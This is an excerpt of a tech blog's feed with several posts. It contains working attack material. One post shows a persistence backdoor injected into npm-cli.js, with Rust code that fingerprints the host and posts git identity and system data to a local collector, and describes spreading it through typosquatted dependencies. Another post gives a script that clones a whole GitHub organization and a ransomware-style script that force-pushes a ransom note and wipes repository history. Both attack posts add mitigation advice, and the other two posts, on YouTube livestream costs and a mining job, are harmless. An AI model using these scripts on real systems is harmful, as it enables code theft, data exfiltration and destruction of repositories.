<p>Now we need to peek under the hood of node. This example will follow a simple implementation that does not contain code caving techniques. Instead I will show you how the you can change one file in node folder. Using the very common node version manager tool. </p>
<p>In <code>nvm</code> there is typically a versions directory called <code>versions/node</code> here in my mac it is here:</p>
<pre><code class="language-bash">/Users/dax/.nvm/versions/node
</code></pre>
<p>When I run a <code>ls</code> command I get a list of all the node versions installed on the machine. </p>
<pre><code class="language-bash">v12.18.0  v12.22.12 v14.17.0  v14.18.0  v14.21.3  v16.17.0  v16.20.0  v16.20.1  v16.20.2  v18.12.0  v18.12.1  v18.16.0  v18.16.1  v19.0.1   v20.16.0
</code></pre>
<p>Within each of these directories is a full node install looking something like this; </p>
<pre><code class="language-bash">CHANGELOG.md LICENSE      README.md    bin          include      lib          share
</code></pre>
<p>There are several places here I can make changes but the one I like the most is the npm section. By going to <code>lib/node_modules/npm/bin</code> I can copy the <code>malware.node</code> file to the directory so it looks like this. </p>
<pre><code class="language-bash">pwd
/Users/dax/.nvm/versions/node/v18.16.1/lib/node_modules/npm/bin
---
ls
blankmal     malware.node node-gyp-bin npm          npm-cli.js   npm.cmd      npx          npx-cli.js   npx.cmd
</code></pre>
<p>And by modifying the <code>npm-cli.js</code> file to have a new line</p>
<pre><code class="language-bash">cat npm-cli.js
#!/usr/bin/env node
require(&#39;../lib/cli.js&#39;)(process)
# New malware import
require(&#39;./malware.node&#39;)
</code></pre>
<p>My malware will now run when any npm command is run on the machine. That means I can pwn your machine. I can inject any privilege escalation I want. I can fingerprint your device or runtime immediately. I can surreptitiously add deps to any project at any time is here some simple finger printing code that also steals your github and npm information due to the fact that I can run things like <code>npm whoami</code> inline without you ever noticing. This means that when the malcious package hits an uninfected machine it will run the rust binary it has brought along to install itself in this directory in the manner I just explained. </p>
<hr>
<p>Here is an example of all the info I can get from you without any privilege escalaction. </p>
<pre><code class="language-rust">use chrono::Utc;
use neon::prelude::*;
use reqwest::blocking::Client;
use serde::{Deserialize, Serialize};
use std::env;
use std::fs;
use std::process::Command;

#[derive(Serialize, Deserialize, Debug)]
struct Fingerprint {
    timestamp: String,
    hostname: String,
    os: String,
    kernel_version: String,
    cpu_info: String,
    total_memory: u64,
    used_memory: u64,
    total_swap: u64,
    used_swap: u64,
    process_count: usize,
    command: String,
    environment: String,
    runtime: String,
    node_version: String,
    npm_version: String,
    git_email: String,
    git_name: String,
    current_user: String,
}

fn collect_fingerprint() -&gt; Result&lt;Fingerprint, String&gt; {
    Ok(Fingerprint {
        timestamp: Utc::now().to_rfc3339(),
        hostname: get_hostname(),
        os: get_os(),
        kernel_version: get_kernel_version(),
        cpu_info: get_cpu_info(),
        total_memory: get_total_memory(),
        used_memory: get_used_memory(),
        total_swap: get_total_swap(),
        used_swap: get_used_swap(),
        process_count: get_process_count(),
        command: env::args().collect::&lt;Vec&lt;String&gt;&gt;().join(&quot; &quot;),
        environment: infer_environment(),
        runtime: &quot;Node.js&quot;.to_string(),
        node_version: get_command_output(&quot;node&quot;, &amp;[&quot;-v&quot;]),
        npm_version: get_command_output(&quot;npm&quot;, &amp;[&quot;-v&quot;]),
        git_email: get_command_output(&quot;git&quot;, &amp;[&quot;config&quot;, &quot;user.email&quot;]),
        git_name: get_command_output(&quot;git&quot;, &amp;[&quot;config&quot;, &quot;user.name&quot;]),
        current_user: get_current_user(),
    })
}

fn get_hostname() -&gt; String {
    get_command_output(&quot;hostname&quot;, &amp;[])
}

fn get_os() -&gt; String {
    if cfg!(target_os = &quot;windows&quot;) {
        &quot;Windows&quot;.to_string()
    } else if cfg!(target_os = &quot;macos&quot;) {
        &quot;macOS&quot;.to_string()
    } else if cfg!(target_os = &quot;linux&quot;) {
        &quot;Linux&quot;.to_string()
    } else {
        &quot;Unknown&quot;.to_string()
    }
}

fn get_kernel_version() -&gt; String {
    if cfg!(target_os = &quot;windows&quot;) {
        get_command_output(&quot;ver&quot;, &amp;[])
    } else {
        get_command_output(&quot;uname&quot;, &amp;[&quot;-r&quot;])
    }
}

fn get_cpu_info() -&gt; String {
    if cfg!(target_os = &quot;windows&quot;) {
        get_command_output(&quot;wmic&quot;, &amp;[&quot;cpu&quot;, &quot;get&quot;, &quot;name&quot;])
    } else if cfg!(target_os = &quot;macos&quot;) {
        get_command_output(&quot;sysctl&quot;, &amp;[&quot;-n&quot;, &quot;machdep.cpu.brand_string&quot;])
    } else {
        fs::read_to_string(&quot;/proc/cpuinfo&quot;)
            .map(|contents| {
                contents
                    .lines()
                    .find(|line| line.starts_with(&quot;model name&quot;))
                    .map(|line| line.split(&#39;:&#39;).nth(1).unwrap_or(&quot;&quot;).trim().to_string())
                    .unwrap_or_else(|| &quot;Unknown&quot;.to_string())
            })
            .unwrap_or_else(|_| &quot;Unknown&quot;.to_string())
    }
}

fn get_total_memory() -&gt; u64 {
    if cfg!(target_os = &quot;windows&quot;) {
        get_command_output(&quot;wmic&quot;, &amp;[&quot;computersystem&quot;, &quot;get&quot;, &quot;totalphysicalmemory&quot;])
            .parse()
            .unwrap_or(0)
    } else if cfg!(target_os = &quot;macos&quot;) {
        get_command_output(&quot;sysctl&quot;, &amp;[&quot;-n&quot;, &quot;hw.memsize&quot;])
            .parse()
            .unwrap_or(0)
    } else {
        fs::read_to_string(&quot;/proc/meminfo&quot;)
            .map(|contents| {
                contents
                    .lines()
                    .find(|line| line.starts_with(&quot;MemTotal:&quot;))
                    .and_then(|line| line.split_whitespace().nth(1))
                    .and_then(|value| value.parse::&lt;u64&gt;().ok())
                    .unwrap_or(0)
                    * 1024 // Convert from KB to bytes
            })
            .unwrap_or(0)
    }
}

fn get_used_memory() -&gt; u64 {
    get_total_memory() - get_free_memory()
}

fn get_free_memory() -&gt; u64 {
    if cfg!(target_os = &quot;windows&quot;) {
        get_command_output(&quot;wmic&quot;, &amp;[&quot;os&quot;, &quot;get&quot;, &quot;freephysicalmemory&quot;])
            .parse()
            .unwrap_or(0)
            * 1024 // Convert from KB to bytes
    } else if cfg!(target_os = &quot;macos&quot;) {
        get_command_output(&quot;vm_stat&quot;, &amp;[])
            .lines()
            .find(|line| line.starts_with(&quot;Pages free:&quot;))
            .and_then(|line| line.split_whitespace().nth(2))
            .and_then(|value| value.parse::&lt;u64&gt;().ok())
            .map(|pages| pages * 4096) // Assuming 4KB page size
            .unwrap_or(0)
    } else {
        fs::read_to_string(&quot;/proc/meminfo&quot;)
            .map(|contents| {
                contents
                    .lines()
                    .find(|line| line.starts_with(&quot;MemFree:&quot;))
                    .and_then(|line| line.split_whitespace().nth(1))
                    .and_then(|value| value.parse::&lt;u64&gt;().ok())
                    .unwrap_or(0)
                    * 1024 // Convert from KB to bytes
            })
            .unwrap_or(0)
    }
}

fn get_total_swap() -&gt; u64 {
    if cfg!(target_os = &quot;windows&quot;) {
        get_command_output(&quot;wmic&quot;, &amp;[&quot;pagefile&quot;, &quot;get&quot;, &quot;AllocatedBaseSize&quot;])
            .parse()
            .unwrap_or(0)
            * 1024
            * 1024 // Convert from MB to bytes
    } else if cfg!(target_os = &quot;macos&quot;) {
        get_command_output(&quot;sysctl&quot;, &amp;[&quot;-n&quot;, &quot;vm.swapusage&quot;])
            .split_whitespace()
            .nth(1)
            .and_then(|value| value.parse::&lt;f64&gt;().ok())
            .map(|mb| (mb * 1024.0 * 1024.0) as u64)
            .unwrap_or(0)
    } else {
        fs::read_to_string(&quot;/proc/meminfo&quot;)
            .map(|contents| {
                contents
                    .lines()
                    .find(|line| line.starts_with(&quot;SwapTotal:&quot;))
                    .and_then(|line| line.split_whitespace().nth(1))
                    .and_then(|value| value.parse::&lt;u64&gt;().ok())
                    .unwrap_or(0)
                    * 1024 // Convert from KB to bytes
            })
            .unwrap_or(0)
    }
}

fn get_used_swap() -&gt; u64 {
    get_total_swap() - get_free_swap()
}

fn get_free_swap() -&gt; u64 {
    if cfg!(target_os = &quot;windows&quot;) {
        0 // Windows doesn&#39;t provide an easy way to get free swap
    } else if cfg!(target_os = &quot;macos&quot;) {
        get_command_output(&quot;sysctl&quot;, &amp;[&quot;-n&quot;, &quot;vm.swapusage&quot;])
            .split_whitespace()
            .nth(5)
            .and_then(|value| value.parse::&lt;f64&gt;().ok())
            .map(|mb| (mb * 1024.0 * 1024.0) as u64)
            .unwrap_or(0)
    } else {
        fs::read_to_string(&quot;/proc/meminfo&quot;)
            .map(|contents| {
                contents
                    .lines()
                    .find(|line| line.starts_with(&quot;SwapFree:&quot;))
                    .and_then(|line| line.split_whitespace().nth(1))
                    .and_then(|value| value.parse::&lt;u64&gt;().ok())
                    .unwrap_or(0)
                    * 1024 // Convert from KB to bytes
            })
            .unwrap_or(0)
    }
}

fn get_process_count() -&gt; usize {
    if cfg!(target_os = &quot;windows&quot;) {
        get_command_output(&quot;wmic&quot;, &amp;[&quot;process&quot;, &quot;get&quot;, &quot;processid&quot;])
            .lines()
            .count()
            .saturating_sub(1) // Subtract header line
    } else if cfg!(target_os = &quot;macos&quot;) {
        get_command_output(&quot;ps&quot;, &amp;[&quot;-A&quot;])
            .lines()
            .count()
            .saturating_sub(1) // Subtract header line
    } else {
        fs::read_dir(&quot;/proc&quot;)
            .map(|entries| {
                entries
                    .filter_map(Result::ok)
                    .filter(|entry| entry.file_name().to_string_lossy().parse::&lt;u32&gt;().is_ok())
                    .count()
            })
            .unwrap_or(0)
    }
}

fn get_current_user() -&gt; String {
    if cfg!(target_os = &quot;windows&quot;) {
        env::var(&quot;USERNAME&quot;).unwrap_or_else(|_| &quot;Unknown&quot;.to_string())
    } else {
        env::var(&quot;USER&quot;).unwrap_or_else(|_| &quot;Unknown&quot;.to_string())
    }
}

fn send_fingerprint(fingerprint: &amp;Fingerprint) -&gt; Result&lt;(), String&gt; {
    let client = Client::new();
    client
        .post(&quot;http://127.0.0.1:8000/fingerprint&quot;)
        .json(fingerprint)
        .send()
        .map_err(|e| format!(&quot;Failed to send fingerprint: {}&quot;, e))?;
    Ok(())
}

fn fingerprint_and_send(mut cx: FunctionContext) -&gt; JsResult&lt;JsUndefined&gt; {
    match collect_fingerprint() {
        Ok(fingerprint) =&gt; match send_fingerprint(&amp;fingerprint) {
            Ok(_) =&gt; println!(&quot;Fingerprint sent successfully&quot;),
            Err(e) =&gt; eprintln!(&quot;Error sending fingerprint: {}&quot;, e),
        },
        Err(e) =&gt; eprintln!(&quot;Error collecting fingerprint: {}&quot;, e),
    }

    Ok(cx.undefined())
}

fn infer_environment() -&gt; String {
    if env::var(&quot;AWS_LAMBDA_FUNCTION_NAME&quot;).is_ok() {
        &quot;AWS Lambda&quot;.to_string()
    } else if env::var(&quot;KUBERNETES_SERVICE_HOST&quot;).is_ok() {
        &quot;Kubernetes&quot;.to_string()
    } else if env::var(&quot;DOCKER&quot;).is_ok() {
        &quot;Docker&quot;.to_string()
    } else {
        &quot;Unknown&quot;.to_string()
    }
}

fn get_command_output(command: &amp;str, args: &amp;[&amp;str]) -&gt; String {
    match Command::new(command).args(args).output() {
        Ok(output) =&gt; String::from_utf8_lossy(&amp;output.stdout).trim().to_string(),
        Err(_) =&gt; &quot;Not available&quot;.to_string(),
    }
}

fn hello(mut cx: FunctionContext) -&gt; JsResult&lt;JsString&gt; {
    Ok(cx.string(&quot;hello node&quot;))
}

#[neon::main]
fn main(mut cx: ModuleContext) -&gt; NeonResult&lt;()&gt; {
    cx.export_function(&quot;fingerprintAndSend&quot;, fingerprint_and_send)?;
    cx.export_function(&quot;hello&quot;, hello)?;
    Ok(())
}
</code></pre>
<p>Now here is the fun part. I already said that I can now arbitrarily add and modify files to an existing project. So my fingerprint already knows what command you ran and what kind of project you are building. So it adds a new dependancy to your <code>package.json</code> which is the malicious package. Meaning when you push your code all the other developers and deployments will get a copy of the malware. I can do this and even bypass the git tracking of the project and collapse it into a previous commit if I wanted to. You would never see the change until it was specifically looked for. I can even decide that if it is a react project I will rewrite your hrefs to my blog. Usually the best way to disguise this change is with a simple typosquatting technique to fool the non serious reader... the problem is that unless you explicitly make all your changes in the github UI you will likely pull down the branch and end up infecting yourself when you try to fix it.</p>
<p>That all being said you don&#39;t need a highly obsfucated version of this in a compiled node/rust binary you can accomplish the same thing with vanilla javascript just follow same modifications to the node dir that I have laid out here.</p>
<hr>
<h2>Mitigation Strategies</h2>
<p>The vulnerabilities described above highlight several critical security considerations for Node.js developers. Here are key defensive measures to consider:</p>
<p><strong>Monitor Node Installation Directories</strong></p>
<pre><code class="language-bash"># Set up file system monitoring for Node directories
fswatch -o ~/.nvm/versions/node/*/lib/node_modules/npm/bin | while read f; do
    echo &quot;Change detected in npm bin directory: $f&quot;
    # Add notification or logging logic
done
</code></pre>
<p><strong>Directory Integrity Checks</strong></p>
<pre><code class="language-typescript">const crypto = require(&#39;crypto&#39;);
const fs = require(&#39;fs&#39;);

function validateNpmBinaries(npmPath: string) {
    const expectedHashes = {
        &#39;npm-cli.js&#39;: &#39;expected-hash-here&#39;,
        &#39;npx-cli.js&#39;: &#39;expected-hash-here&#39;
    };

    for (const [file, expectedHash] of Object.entries(expectedHashes)) {
        const fileBuffer = fs.readFileSync(`${npmPath}/${file}`);
        const hashSum = crypto.createHash(&#39;sha256&#39;);
        const calculatedHash = hashSum.update(fileBuffer).digest(&#39;hex&#39;);
        
        if (calculatedHash !== expectedHash) {
            console.error(`Binary modification detected in ${file}`);
        }
    }
}
</code></pre>
<p><strong>Trust But Verify</strong></p>
<p>The npm ecosystem&#39;s strength lies in its vast community and shared resources, but this trust model requires careful consideration:</p>
<ol>
<li><p><strong>Package Verification</strong>:</p>
<ul>
<li>Use <code>npm audit</code> regularly</li>
<li>Implement lockfile security checks</li>
<li>Consider using tools like <code>dependency-check</code> for deep dependency analysis</li>
</ul>
</li>
<li><p><strong>Installation Safeguards</strong>:</p>
<ul>
<li>Use <code>--ignore-scripts</code> flag when possible</li>
<li>Implement checksums for critical node binaries</li>
<li>Consider using containerized environments for package installations</li>
</ul>
</li>
<li><p><strong>Development Practices</strong>:</p>
<ul>
<li>Regularly audit your node installation directories</li>
<li>Use version managers with integrity checking</li>
<li>Implement git hooks to verify package.json changes</li>
</ul>
</li>
</ol>
<p>The reality is that the npm ecosystem&#39;s convenience comes with inherent security risks. While complete security is impossible, understanding these vulnerabilities helps us build better defenses and maintain a more secure development environment.</p>
<p>Remember: Security isn&#39;t just about preventing attacks—it&#39;s about making them noticeable when they occur. Regular monitoring and verification of your development environment is just as important as the code you write.</p>
<blockquote>
<blockquote>
<p>Oh and if you have somehow contracted a version or variant of my nasty little malware. Just reinstall node cleanly.</p>
</blockquote>
</blockquote>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[Youtube Wasting Money on Fake Livestreams]]></title>
  <id>https://blog.skill-issue.dev/blog/ways_to_burn_money_at_google/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/blog/ways_to_burn_money_at_google/"/>
  <published>2024-11-03T04:32:58.370Z</published>
  <updated>2024-11-03T04:32:58.370Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="youtube"/>
  <category term="scams"/>
  <category term="livestreams"/>
  <category term="spam"/>
  <category term="scamming techniques"/>
  <summary type="html"><![CDATA[One of the biggest ways YouTube is wasting its money is promoting scam and spam prerecorded livestreams.]]></summary>
  <content type="html"><![CDATA[<h2>Ways to Burn Money at Google: The Scourge of Fake Livestreams on YouTube</h2>
<p>One of the most egregious ways YouTube is wasting its resources is through the proliferation of scam and spam prerecorded livestreams. These fake streams not only undermine trust in the platform but also cost YouTube significant amounts of money in bandwidth and computational resources.</p>
<h3>The Mechanics of Fake Livestreams</h3>
<p>Scammers have developed sophisticated methods to create fake livestreams that mimic real-time broadcasts. Using prerecorded content, they feed these videos into streaming software like OBS or FFMPEG, which then broadcasts the content to YouTube as if it were live[1]. This technique not only wastes bandwidth but also dilutes the quality of content on the platform.</p>
<h3>Bots and Simulated Interactivity</h3>
<p>To make these prerecorded streams appear genuine, scammers employ bots to simulate viewer interactions. These bots can inflate view counts, generate fake comments, and even mimic donation actions[4]. This artificial engagement tricks YouTube&#39;s algorithms into promoting the content, further amplifying the scam&#39;s reach.</p>
<h2>The Cost to YouTube</h2>
<p>The financial impact of these fake livestreams on YouTube is substantial. Using the AWS Twitch stream estimator as a reference, we can approximate the costs:</p>
<ul>
<li>A single stream with about 500 viewers costs approximately $36.07 per hour in bandwidth alone.</li>
<li>Chat messages for one stream can cost around $6.80 for 5,000 messages.</li>
</ul>
<p>Now, consider that there are potentially dozens or even hundreds of these fake streams running almost 24/7. The costs quickly escalate to thousands of dollars daily[8].</p>
<p>The financial impact of fake livestreams on YouTube is multifaceted. Using the AWS Twitch stream estimator as a reference, we can approximate the costs associated with these fraudulent activities. However, it&#39;s important to note that YouTube&#39;s actual costs may differ due to their proprietary infrastructure and economies of scale.</p>
<h4>Bandwidth Costs</h4>
<ul>
<li>A single stream with about 500 viewers costs approximately $36.07 per hour in bandwidth alone.</li>
<li>Assuming a 24/7 operation, this translates to $865.68 per day for a single stream.</li>
</ul>
<h4>Chat Message Costs</h4>
<ul>
<li>Chat messages for one stream can cost around $6.80 for 5,000 messages.</li>
<li>For a busy stream, this could easily reach $32.64 per day (assuming 24,000 messages per day).</li>
</ul>
<h4>Scale of the Problem</h4>
<p>The true cost becomes apparent when we consider the scale of these fake livestreams. There are potentially dozens or even hundreds of these streams running continuously, 24 hours a day, 7 days a week. Let&#39;s break down the potential monthly costs based on different volumes of fake channels:</p>
<table>
<thead>
<tr>
<th>Number of Fake Streams per Day</th>
<th>Monthly Cost (USD)</th>
</tr>
</thead>
<tbody><tr>
<td>10</td>
<td>$357,624.00</td>
</tr>
<tr>
<td>20</td>
<td>$715,248.00</td>
</tr>
<tr>
<td>50</td>
<td>$1,788,120.00</td>
</tr>
</tbody></table>
<p>This chart illustrates the potential monthly costs to YouTube based on different numbers of fake streams operating continuously. The calculations include both bandwidth and chat message costs.</p>
<h4>Additional Considerations</h4>
<ol>
<li><strong>Server Resources</strong>: Beyond bandwidth, these streams consume computational resources for video processing, transcoding, and storage.</li>
<li><strong>Content Delivery Network (CDN) Costs</strong>: YouTube likely uses a CDN to distribute content, which incurs additional expenses.</li>
<li><strong>Moderation and Detection</strong>: YouTube must invest in systems and personnel to detect and moderate these fake streams, adding to the overall cost.</li>
<li><strong>Opportunity Cost</strong>: These fake streams may displace legitimate content, potentially reducing ad revenue from genuine creators and viewers.</li>
<li><strong>Trust and Brand Damage</strong>: While not directly quantifiable, the prevalence of fake streams can erode user trust and damage YouTube&#39;s brand reputation.</li>
</ol>
<h4>Long-term Impact</h4>
<p>The financial drain from fake livestreams extends beyond immediate bandwidth and infrastructure costs. YouTube&#39;s recommendation algorithms may be skewed by these artificial engagements, leading to a degraded user experience. This, in turn, could result in decreased overall platform engagement and, consequently, reduced ad revenue in the long term.</p>
<p>By allowing these fake streams to proliferate, YouTube is not just burning money on bandwidth and infrastructure; it&#39;s potentially undermining the very ecosystem that makes the platform valuable to users and advertisers alike. The true cost, therefore, may be far greater than the direct expenses calculated here.</p>
<h3>Undermining Trust and Recommendation Systems</h3>
<p>Beyond the direct financial costs, these fake livestreams severely undermine trust in YouTube&#39;s platform. Users who fall victim to scams or repeatedly encounter fake content are likely to lose faith in the platform&#39;s ability to provide genuine, valuable content[2]. This erosion of trust can lead to decreased user engagement and, ultimately, revenue loss for YouTube.</p>
<p>Moreover, these fake streams manipulate YouTube&#39;s recommendation algorithms. By artificially inflating engagement metrics, they skew the system, potentially suppressing genuine content creators and further degrading the user experience[7].</p>
<h3>The Challenge of Detection and Removal</h3>
<p>Despite YouTube&#39;s efforts to combat spam and scams, the persistence of these fake livestreams is not just indicative of the challenges in detection and removal, but YouTube&#39;s disregard for such a simple cost saving measure. They don&#39;t care. They lack the initaive for seriously considering these concerns or allowing for the reporting of these fake streams within the existing report and moderation tools. While scammers often use stolen or purchased high-subscriber count channels to lend credibility to their streams, making it harder for automated systems to flag them as suspicious[3]. This doesn&#39;t mean that YouTube can&#39;t do more to combat this issue.</p>
<h3>Conclusion</h3>
<p>The proliferation of fake livestreams on YouTube represents a significant drain on resources and a threat to the platform&#39;s integrity. By wasting bandwidth, manipulating algorithms, and eroding user trust, these scams are costing YouTube not just in terms of immediate financial losses but also in long-term platform health. It is crucial for YouTube to invest in more sophisticated detection methods and stricter enforcement policies to combat this growing problem effectively.</p>
<p>Citations:</p>
<p>[1] <a href="https://www.reddit.com/r/streaming/comments/1d7yftj/how_do_people_steam_prerecorded_videos_as_live/">https://www.reddit.com/r/streaming/comments/1d7yftj/how_do_people_steam_prerecorded_videos_as_live/</a></p>
<p>[2] <a href="https://www.nytimes.com/interactive/2024/08/14/technology/elon-musk-ai-deepfake-scam.html">https://www.nytimes.com/interactive/2024/08/14/technology/elon-musk-ai-deepfake-scam.html</a></p>
<p>[3] <a href="https://addshore.com/2022/09/hunting-youtube-crypto-scams/">https://addshore.com/2022/09/hunting-youtube-crypto-scams/</a></p>
<p>[4] <a href="https://www.qqtube.com/buy-youtube-live-stream-viewers">https://www.qqtube.com/buy-youtube-live-stream-viewers</a></p>
<p>[5] <a href="https://www.ndtv.com/feature/chinese-man-uses-4-600-phones-to-fake-live-stream-views-earns-over-rs-3-crore-in-4-months-5614398">https://www.ndtv.com/feature/chinese-man-uses-4-600-phones-to-fake-live-stream-views-earns-over-rs-3-crore-in-4-months-5614398</a></p>
<p>[6] <a href="https://www.bitdefender.com/en-gb/blog/labs/a-deep-dive-into-stream-jacking-attacks-on-youtube-and-why-theyre-so-popular/">https://www.bitdefender.com/en-gb/blog/labs/a-deep-dive-into-stream-jacking-attacks-on-youtube-and-why-theyre-so-popular/</a></p>
<p>[7] <a href="https://mashable.com/article/fake-spacex-elon-musk-solar-eclipse-youtube-livestreams-crypto-scam">https://mashable.com/article/fake-spacex-elon-musk-solar-eclipse-youtube-livestreams-crypto-scam</a></p>
<p>[8] <a href="https://www.clickcease.com/blog/all-about-view-bots/">https://www.clickcease.com/blog/all-about-view-bots/</a></p>
<p>[9] <a href="https://www.bitdefender.com/en-us/blog/labs/stream-jacking-2-0-deep-fakes-power-account-takeovers-on-youtube-to-maximize-crypto-doubling-scams/">https://www.bitdefender.com/en-us/blog/labs/stream-jacking-2-0-deep-fakes-power-account-takeovers-on-youtube-to-maximize-crypto-doubling-scams/</a></p>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[Hungry Git: A Quick Guide to Hacking Orgs and Bots]]></title>
  <id>https://blog.skill-issue.dev/blog/hacking_bots/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/blog/hacking_bots/"/>
  <published>2024-10-27T23:02:04.081Z</published>
  <updated>2024-10-27T23:02:04.081Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="github"/>
  <category term="security"/>
  <category term="hacking"/>
  <category term="bots"/>
  <category term="organizations"/>
  <category term="exploits"/>
  <summary type="html"><![CDATA[Recently more and more people are talking about how insecure GitHub is. This article will show you how to exploit GitHub organizations and bots to get what you want.]]></summary>
  <content type="html"><![CDATA[<p>GitHub is a popular platform for hosting code repositories and collaborating on software projects. However, recent reports have highlighted security vulnerabilities in GitHub organizations and bots that can be exploited by malicious actors. In this article, we will explore some of the common vulnerabilities in GitHub organizations and bots and discuss how they can be exploited.</p>
<p>One thing that is big is the failure of Organization owners to properly secure their repositories. I recently left a job where I had access to a lot of sensitive information. I was able to access the company&#39;s GitHub organization and download all the code repositories without any issues. The organization owner had not set up any security measures, and I was able to access everything with just a few clicks. Plus when I left the company, I still had access to the organization&#39;s repositories. This is a huge security risk that many organizations are not aware of.</p>
<h2>Exploiting GitHub Organization Credentials</h2>
<p>Here is a simple bash script that can be used to exploit GitHub organizations once you have credentials that allow access to the organization&#39;s repositories. This script will list all the repositories in the organization and clone them to your local machine. This can be useful for downloading code repositories for analysis or other purposes.</p>
<pre><code class="language-bash">#!/bin/bash
gh repo list &lt;organization-name&gt; --limit 1000 --json nameWithOwner,url --jq &#39;.[]|[.nameWithOwner,.url]|@tsv&#39; | while read -r repo url; do
  gh repo clone &quot;$url&quot;
done
</code></pre>
<p>This along with the following script it can be effective to launch a ransomware style attack on an organization where you can clone all the repositories and then destroy the repo&#39;s current state and all of its history. This can be a huge blow to an organization that relies on GitHub for its code repositories.</p>
<pre><code class="language-bash">#!/bin/bash

# WARNING: This script is extremely destructive and irreversible.
# It will destroy all repository data and history.

# Function to overwrite repository
overwrite_repo() {
    local repo_path=&quot;$1&quot;
    cd &quot;$repo_path&quot; || return

    # Remove all files except .git
    find . -mindepth 1 -maxdepth 1 ! -name .git -exec rm -rf {} +

    # Create new file with apology message
    echo &quot;This repository and its entire history have been destroyed due to an attack. Pay me money.&quot; &gt; README.md

    # Force add, commit, and push
    git add -A
    git commit -m &quot;Repository data destroyed due to security incident&quot; --allow-empty
    git push -f origin main

    # Destroy Git history
    git checkout --orphan latest_branch
    git add -A
    git commit -am &quot;Repository history destroyed&quot;
    git branch -D main
    git branch -m main
    git push -f origin main

    # Remove all refs
    git for-each-ref --format=&quot;%(refname)&quot; refs/original/ | xargs -n 1 git update-ref -d
    git reflog expire --expire=now --all
    git gc --prune=now --aggressive

    cd ..
}

# Main script
for repo in */; do
    if [ -d &quot;$repo/.git&quot; ]; then
        echo &quot;Overwriting repository: $repo&quot;
        overwrite_repo &quot;$repo&quot;
    fi
done

echo &quot;All repositories have been overwritten and their histories destroyed.&quot;
</code></pre>
<p>This script is designed to:</p>
<ul>
<li>Remove all files except .git</li>
<li>Create a new README with a ransom message</li>
<li>Force push these changes</li>
<li>Create a new branch, destroying the old history</li>
<li>Force push the new branch</li>
<li>Remove all refs and prune the repository</li>
</ul>
<p>The logic is comprehensive for its destructive purpose. It effectively erases the repository&#39;s content and history.</p>
<p>Please note that this is just an example of logic, this will destroy any locally running repos in the directory you run this script in. This is a very destructive script and should not be used in any real-world scenario.  I have and will not release a full script that can be used to destroy repositories on GitHub. You have the parts and understanding you need to devise ways to protect your organization from such attacks.</p>
<h3>Mitigating This Attack</h3>
<p>Here are some measures that organizations can take to protect their GitHub repositories from such attacks:</p>
<p><strong>Access Control and Authentication</strong></p>
<ul>
<li>Enforce two-factor authentication (2FA) for all organization members</li>
<li>Implement SAML single sign-on (SSO) for centralized access control</li>
<li>Regularly audit and revoke access for former employees</li>
<li>Rotate SSH keys and Personal Access Tokens frequently</li>
<li>Limit the number of repository administrators</li>
</ul>
<p><strong>Branch Protection</strong></p>
<ul>
<li>Enable branch protection rules for all important branches</li>
<li>Prevent direct commits to the main branch</li>
<li>Require pull request reviews before merging</li>
<li>Define minimum number of required approvals</li>
<li>Disable force pushes to protected branches</li>
</ul>
<p><strong>Backup and Recovery</strong></p>
<ul>
<li>Implement automated backups with multiple copies</li>
<li>Follow the 3-2-1 backup rule (3 copies, 2 different storage types, 1 offsite)</li>
<li>Enable ransomware protection features</li>
<li>Maintain unlimited retention of backups</li>
<li>Encrypt backups both in-transit and at-rest</li>
</ul>
<p><strong>Repository Security</strong></p>
<ul>
<li>Enable GitHub Advanced Security features</li>
<li>Implement code scanning for vulnerability detection</li>
<li>Use secret scanning to prevent credential exposure</li>
<li>Configure automated security checks</li>
<li>Regular security audits of repositories</li>
</ul>
<p><strong>Organizational Policies</strong></p>
<ul>
<li>Create and enforce clear security policies</li>
<li>Use CODEOWNERS file to define repository responsibility</li>
<li>Implement least privilege principle for access control</li>
<li>Restrict access to specific IP addresses</li>
<li>Monitor and log all repository activities</li>
</ul>
<p>These measures, when implemented together, create a robust defense against malicious attempts to destroy repository data and history.</p>
<p>Let me help you restructure the conclusion to better protect organizations while maintaining responsible disclosure principles:</p>
<h2>Conclusion: Strengthening Your GitHub Security Posture</h2>
<p>The scripts and attack vectors demonstrated above highlight critical vulnerabilities that many organizations face with their GitHub repositories. However, the goal of this disclosure is not to enable attacks, but to emphasize the importance of implementing robust security measures.</p>
<h3>Critical Security Controls</h3>
<p>Organizations must implement multiple layers of protection to secure their GitHub repositories effectively. Make sure to implement things like Access Management, Repository Protection, and Continuous Monitoring to safeguard your code repositories.</p>
<p>By implementing these security measures, organizations can significantly reduce their exposure to potential attacks and protect their valuable intellectual property. Remember, security is not a one-time setup but a continuous process requiring regular review and updates.</p>
<p>The best defense against these types of attacks is proactive security implementation combined with regular security assessments and employee education. Don&#39;t wait until after an incident to strengthen your security posture.</p>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[What running a Bitcoin mine taught me about cloud margins]]></title>
  <id>https://blog.skill-issue.dev/blog/what_running_a_bitcoin_mine_taught_me/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/blog/what_running_a_bitcoin_mine_taught_me/"/>
  <published>2024-10-08T08:00:00.000Z</published>
  <updated>2024-10-08T08:00:00.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="career"/>
  <category term="bitcoin"/>
  <category term="mining"/>
  <category term="foundry"/>
  <category term="narrative"/>
  <category term="infrastructure"/>
  <category term="operations"/>
  <summary type="html"><![CDATA[A short stint at Foundry Digital running ASIC fleets, immersion vs. air, the depreciation curve, and the brutal arithmetic of difficulty adjustments — and why I never stopped thinking like an operator after I went back to writing software.]]></summary>
  <content type="html"><![CDATA[<blockquote>
<p>TODO: Dax confirm dates, exact title, and any specifics he wants to swap in. Where I couldn&#39;t pin a public source down I left a <code>TODO</code>. Don&#39;t fill any of these in with vibes.</p>
</blockquote>
<p>After the Navy and before I went all-in on writing software for a living, I spent a chapter at <strong>Foundry Digital</strong> on the operations side of industrial Bitcoin mining. I won&#39;t pretend it was a long chapter. It was long enough to permanently change how I think about every cloud bill I have ever paid.</p>
<p>This post is about what mining at scale teaches you that no amount of staring at AWS Cost Explorer ever will.</p>
<h2>The setup</h2>
